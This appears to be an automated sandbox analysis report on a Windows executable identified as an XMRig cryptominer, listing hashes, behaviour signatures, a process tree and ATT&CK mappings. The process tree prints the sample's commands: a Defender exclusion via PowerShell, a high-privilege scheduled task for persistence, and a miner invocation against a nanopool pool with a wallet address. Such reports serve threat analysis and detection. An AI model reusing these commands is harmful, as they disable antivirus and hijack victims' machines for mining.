Analysis

  • max time kernel
    204s
  • max time network
    209s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30-11-2022 03:09

General

  • Target

    7a90312b845d684d8f0a2ae95cfc5f616d00dd25cbcb172335a36dd90c3340c0.exe

  • Size

    648KB

  • MD5

    4f17d8dcc61d0dea7dd6c4cd0162b246

  • SHA1

    d3a2505f416a32ed98e71117db7188cf1a464c5d

  • SHA256

    7a90312b845d684d8f0a2ae95cfc5f616d00dd25cbcb172335a36dd90c3340c0

  • SHA512

    c4364d742f83dde0aec4a6120f5521bfff3df7e522eb43a3c9bcca6f3fbf3fdd000edb6aeceb2e4c84bebea46a6a3b110f538a982ce41919fb9f8da88ece98b2

  • SSDEEP

    12288:cm+6CtnUrur4tohP1aYZKHbncTnCQB6X/MJiY:x+rpX0tohhZKb+YM

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 6 IoCs
  • Executes dropped EXE 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7a90312b845d684d8f0a2ae95cfc5f616d00dd25cbcb172335a36dd90c3340c0.exe
    "C:\Users\Admin\AppData\Local\Temp\7a90312b845d684d8f0a2ae95cfc5f616d00dd25cbcb172335a36dd90c3340c0.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4156
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1956
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp6C37.tmp.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:876
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:2780
      • C:\ProgramData\dlllib\YHKO.exe
        "C:\ProgramData\dlllib\YHKO.exe"
        3⤵
        • Executes dropped EXE
        • Checks computer location settings
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5112
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4228
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "YHKO" /tr "C:\ProgramData\dlllib\YHKO.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4152
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "YHKO" /tr "C:\ProgramData\dlllib\YHKO.exe"
            5⤵
            • Creates scheduled task(s)
            PID:1952
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:4352

Network

MITRE ATT&CK Matrix ATT&CK v6

Execution

Scripting

1
T1064

Scheduled Task

1
T1053

Persistence

Scheduled Task

1
T1053

Privilege Escalation

Scheduled Task

1
T1053

Defense Evasion

Scripting

1
T1064

Discovery

Query Registry

1
T1012

System Information Discovery

2
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\dlllib\YHKO.exe
    Filesize

    648KB

    MD5

    4f17d8dcc61d0dea7dd6c4cd0162b246

    SHA1

    d3a2505f416a32ed98e71117db7188cf1a464c5d

    SHA256

    7a90312b845d684d8f0a2ae95cfc5f616d00dd25cbcb172335a36dd90c3340c0

    SHA512

    c4364d742f83dde0aec4a6120f5521bfff3df7e522eb43a3c9bcca6f3fbf3fdd000edb6aeceb2e4c84bebea46a6a3b110f538a982ce41919fb9f8da88ece98b2

  • C:\ProgramData\dlllib\YHKO.exe
    Filesize

    648KB

    MD5

    4f17d8dcc61d0dea7dd6c4cd0162b246

    SHA1

    d3a2505f416a32ed98e71117db7188cf1a464c5d

    SHA256

    7a90312b845d684d8f0a2ae95cfc5f616d00dd25cbcb172335a36dd90c3340c0

    SHA512

    c4364d742f83dde0aec4a6120f5521bfff3df7e522eb43a3c9bcca6f3fbf3fdd000edb6aeceb2e4c84bebea46a6a3b110f538a982ce41919fb9f8da88ece98b2

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
    Filesize

    2KB

    MD5

    d85ba6ff808d9e5444a4b369f5bc2730

    SHA1

    31aa9d96590fff6981b315e0b391b575e4c0804a

    SHA256

    84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

    SHA512

    8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

  • C:\Users\Admin\AppData\Local\Temp\tmp6C37.tmp.bat
    Filesize

    139B

    MD5

    fb699a1e4c9c67bf7403a42a13d878f7

    SHA1

    21528e0c2ec3273b9256d79751d28cfebf963171

    SHA256

    5119e44cb283069d19b31c79a1357a7dac1677fd0fbebc8b14831f6abeed17b9

    SHA512

    f59ec793fdaf2292a203f6a26172723fad7ea8e39e653923a8f480aaf46abc70f2131fad6b2bf3b0d87bf476c2b27e031c5e5cb8a45e673cdd73db9480b42ccb

  • memory/876-146-0x0000000000000000-mapping.dmp
  • memory/1952-177-0x0000000000000000-mapping.dmp
  • memory/1956-147-0x000002A07E4E0000-0x000002A07E502000-memory.dmp
    Filesize

    136KB

  • memory/1956-179-0x00007FFB24E00000-0x00007FFB258C1000-memory.dmp
    Filesize

    10MB

  • memory/1956-153-0x00007FFB24E00000-0x00007FFB258C1000-memory.dmp
    Filesize

    10MB

  • memory/1956-145-0x0000000000000000-mapping.dmp
  • memory/1956-154-0x00007FFB24E00000-0x00007FFB258C1000-memory.dmp
    Filesize

    10MB

  • memory/2780-152-0x0000000000000000-mapping.dmp
  • memory/4152-173-0x0000000000000000-mapping.dmp
  • memory/4156-136-0x00007FFB42350000-0x00007FFB423EE000-memory.dmp
    Filesize

    632KB

  • memory/4156-139-0x00007FFB423F0000-0x00007FFB42591000-memory.dmp
    Filesize

    1MB

  • memory/4156-143-0x00007FFB235A0000-0x00007FFB236EE000-memory.dmp
    Filesize

    1MB

  • memory/4156-144-0x00007FFB24E00000-0x00007FFB258C1000-memory.dmp
    Filesize

    10MB

  • memory/4156-148-0x0000000000BD0000-0x0000000000CD8000-memory.dmp
    Filesize

    1MB

  • memory/4156-141-0x00007FFB43B60000-0x00007FFB43B8B000-memory.dmp
    Filesize

    172KB

  • memory/4156-140-0x00007FFB24E00000-0x00007FFB258C1000-memory.dmp
    Filesize

    10MB

  • memory/4156-149-0x0000000003140000-0x0000000003183000-memory.dmp
    Filesize

    268KB

  • memory/4156-150-0x00007FFB24E00000-0x00007FFB258C1000-memory.dmp
    Filesize

    10MB

  • memory/4156-142-0x0000000000BD0000-0x0000000000CD8000-memory.dmp
    Filesize

    1MB

  • memory/4156-138-0x00007FFB25EA0000-0x00007FFB25F5D000-memory.dmp
    Filesize

    756KB

  • memory/4156-137-0x00007FFB3F6F0000-0x00007FFB3F702000-memory.dmp
    Filesize

    72KB

  • memory/4156-133-0x00007FFB25F60000-0x00007FFB2600A000-memory.dmp
    Filesize

    680KB

  • memory/4156-134-0x0000000000BD0000-0x0000000000CD8000-memory.dmp
    Filesize

    1MB

  • memory/4156-135-0x0000000003140000-0x0000000003183000-memory.dmp
    Filesize

    268KB

  • memory/4228-180-0x00007FFB24E00000-0x00007FFB258C1000-memory.dmp
    Filesize

    10MB

  • memory/4228-176-0x00007FFB24E00000-0x00007FFB258C1000-memory.dmp
    Filesize

    10MB

  • memory/4228-172-0x00007FFB24E00000-0x00007FFB258C1000-memory.dmp
    Filesize

    10MB

  • memory/4228-171-0x0000000000000000-mapping.dmp
  • memory/4352-199-0x0000025205B70000-0x0000025205B90000-memory.dmp
    Filesize

    128KB

  • memory/4352-189-0x0000000140000000-0x00000001407C9000-memory.dmp
    Filesize

    7MB

  • memory/4352-188-0x0000000140000000-0x00000001407C9000-memory.dmp
    Filesize

    7MB

  • memory/4352-187-0x0000000140343234-mapping.dmp
  • memory/4352-186-0x0000000140000000-0x00000001407C9000-memory.dmp
    Filesize

    7MB

  • memory/4352-190-0x0000025173340000-0x0000025173360000-memory.dmp
    Filesize

    128KB

  • memory/4352-191-0x0000000140000000-0x00000001407C9000-memory.dmp
    Filesize

    7MB

  • memory/4352-194-0x0000025173390000-0x00000251733D0000-memory.dmp
    Filesize

    256KB

  • memory/4352-195-0x0000000140000000-0x00000001407C9000-memory.dmp
    Filesize

    7MB

  • memory/4352-196-0x0000025205940000-0x0000025205960000-memory.dmp
    Filesize

    128KB

  • memory/4352-197-0x0000025205B70000-0x0000025205B90000-memory.dmp
    Filesize

    128KB

  • memory/4352-198-0x0000025205940000-0x0000025205960000-memory.dmp
    Filesize

    128KB

  • memory/5112-166-0x00000000004F0000-0x00000000005F8000-memory.dmp
    Filesize

    1MB

  • memory/5112-175-0x00007FFB24E00000-0x00007FFB258C1000-memory.dmp
    Filesize

    10MB

  • memory/5112-174-0x00000000004F0000-0x00000000005F8000-memory.dmp
    Filesize

    1MB

  • memory/5112-181-0x00007FFB41F10000-0x00007FFB41F37000-memory.dmp
    Filesize

    156KB

  • memory/5112-182-0x00007FFB20F30000-0x00007FFB20F65000-memory.dmp
    Filesize

    212KB

  • memory/5112-183-0x00007FFB20F70000-0x00007FFB21072000-memory.dmp
    Filesize

    1MB

  • memory/5112-184-0x00007FFB432E0000-0x00007FFB4334B000-memory.dmp
    Filesize

    428KB

  • memory/5112-185-0x00007FFB40BA0000-0x00007FFB40BDB000-memory.dmp
    Filesize

    236KB

  • memory/5112-170-0x00007FFB24E00000-0x00007FFB258C1000-memory.dmp
    Filesize

    10MB

  • memory/5112-169-0x0000000000440000-0x0000000000483000-memory.dmp
    Filesize

    268KB

  • memory/5112-168-0x00000000004F0000-0x00000000005F8000-memory.dmp
    Filesize

    1MB

  • memory/5112-167-0x00007FFB235A0000-0x00007FFB236EE000-memory.dmp
    Filesize

    1MB

  • memory/5112-165-0x00007FFB43B60000-0x00007FFB43B8B000-memory.dmp
    Filesize

    172KB

  • memory/5112-164-0x00007FFB24E00000-0x00007FFB258C1000-memory.dmp
    Filesize

    10MB

  • memory/5112-192-0x00000000004F0000-0x00000000005F8000-memory.dmp
    Filesize

    1MB

  • memory/5112-193-0x00007FFB24E00000-0x00007FFB258C1000-memory.dmp
    Filesize

    10MB

  • memory/5112-163-0x00007FFB423F0000-0x00007FFB42591000-memory.dmp
    Filesize

    1MB

  • memory/5112-162-0x00007FFB25EA0000-0x00007FFB25F5D000-memory.dmp
    Filesize

    756KB

  • memory/5112-161-0x00007FFB3F6F0000-0x00007FFB3F702000-memory.dmp
    Filesize

    72KB

  • memory/5112-160-0x00007FFB42350000-0x00007FFB423EE000-memory.dmp
    Filesize

    632KB

  • memory/5112-159-0x00007FFB25F60000-0x00007FFB2600A000-memory.dmp
    Filesize

    680KB

  • memory/5112-155-0x0000000000000000-mapping.dmp